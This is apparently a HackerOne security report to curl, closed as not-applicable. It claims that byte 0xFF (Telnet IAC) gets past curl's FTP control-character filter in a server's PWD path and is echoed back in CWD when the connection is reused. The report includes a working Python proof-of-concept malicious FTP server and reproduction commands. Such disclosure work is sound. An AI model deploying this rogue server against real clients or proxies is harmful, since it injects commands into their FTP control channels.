FTP entrypath accepts 0xFF (Telnet IAC) through incomplete ISCNTRL filter, sent on wire via CWD on connection reuse

Disclosed: 2026-04-07 06:24:15 By mzfr To curl
Unknown
Vulnerability Details
## Summary A malicious FTP server can embed byte 0xFF (Telnet IAC) in the PWD response path. The `ISCNTRL()` filter at `lib/ftp.c:3095` expands to `ISLOWCNTRL(x) || IS7F(x)`, which is `((unsigned char)(x) <= 0x1f) || ((x) == 0x7f)` (defined at `lib/curl_ctype.h:30-37`). `(unsigned char)(0xFF)` is 255, so `ISCNTRL(0xFF)` evaluates FALSE. The byte is stored in `ftpc->entrypath` (line 3131) and sent verbatim via `CWD %s` on connection reuse (line 849). I understand the `KNOWN_RISK.md` and `libcurl-security.md` mentions the `Remote attacker already present` and `malicious FTP server` risks but I also saw that https://curl.se/docs/CVE-2020-8284.html and wasn't really able to differentiate hence submitting this report. ```python import socket, threading def data_serve(): s = socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('127.0.0.1', 2122)); s.listen(5) while True: c, _ = s.accept(); c.sendall(b"-rw-r--r-- 1 ftp ftp 0 Jan 1 00:00 x\r\n"); c.close() threading.Thread(target=data_serve, daemon=True).start() def serve(): s = socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('127.0.0.1', 2121)); s.listen(1); c, _ = s.accept() c.sendall(b"220 ok\r\n") while True: d = c.recv(4096) if b"USER" in d: c.sendall(b"331 ok\r\n") elif b"PASS" in d: c.sendall(b"230 ok\r\n") elif b"PWD" in d: c.sendall(b'257 "/evil\xff/dir"\r\n') elif b"CWD" in d: print(f"CWD received: {d!r}"); c.sendall(b"250 ok\r\n") elif b"EPSV" in d: c.sendall(b"229 Entering Extended Passive Mode (|||2122|)\r\n") elif b"TYPE" in d: c.sendall(b"200 ok\r\n") elif b"LIST" in d: c.sendall(b"150 ok\r\n226 ok\r\n") elif b"QUIT" in d: c.sendall(b"221 ok\r\n"); break else: c.sendall(b"500 ok\r\n") c.close(); s.close() serve() ``` ## Affected version Tested on both macOS (Darwin) and Linux (Docker): ``` curl 8.20.0-DEV (Darwin) libcurl/8.20.0-DEV OpenSSL/3.6.1 zlib/1.2.12 brotli/1.2.0 zstd/1.5.7 libidn2/2.3.8 nghttp2/1.68.0 Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IDN IPv6 Largefile libz SSL threadsafe TLS-SRP UnixSockets zstd ``` Git HEAD `38b626e790`. Also confirmed on 8.19.0 stable (Linux). ## Steps To Reproduce 1. Run the Python script above in one terminal. 2. In another terminal, make two requests on the same connection: ```bash ./curl -v --ftp-pasv ftp://anonymous:[email protected]:2121/ ftp://anonymous:[email protected]:2121/sub/ ``` 3. Verbose output shows curl accepting the path and reusing the connection: ``` < 257 "/evilÿ/dir" is current directory * Entry path is '/evilÿ/dir' ... * Reusing existing ftp: connection with host 127.0.0.1 > CWD /evilÿ/dir ``` 4. The Python server prints: `CWD received: b'CWD /evil\xff/dir\r\n'` — literal 0xFF at byte offset 9. The CWD to entrypath only fires on connection reuse (gated by `data->conn->bits.reuse && ftpc->entrypath` at line 841). The entire range 0x80-0xFF passes the `ISCNTRL` filter, including 0xFF which is the Telnet IAC (Interpret As Command) byte. FTP's control channel is built on Telnet, so a Telnet-aware intermediary (FTP proxy, ALG, protocol-level firewall) may interpret the 0xFF as a Telnet escape sequence. ## Impact A malicious FTP server injects Telnet IAC bytes into the FTP command channel via a crafted PWD path, which curl stores and sends back verbatim in CWD on connection reuse.
Actions
View on HackerOne
Report Stats
  • Report ID: 3650473
  • State: Closed
  • Substate: not-applicable
Share this report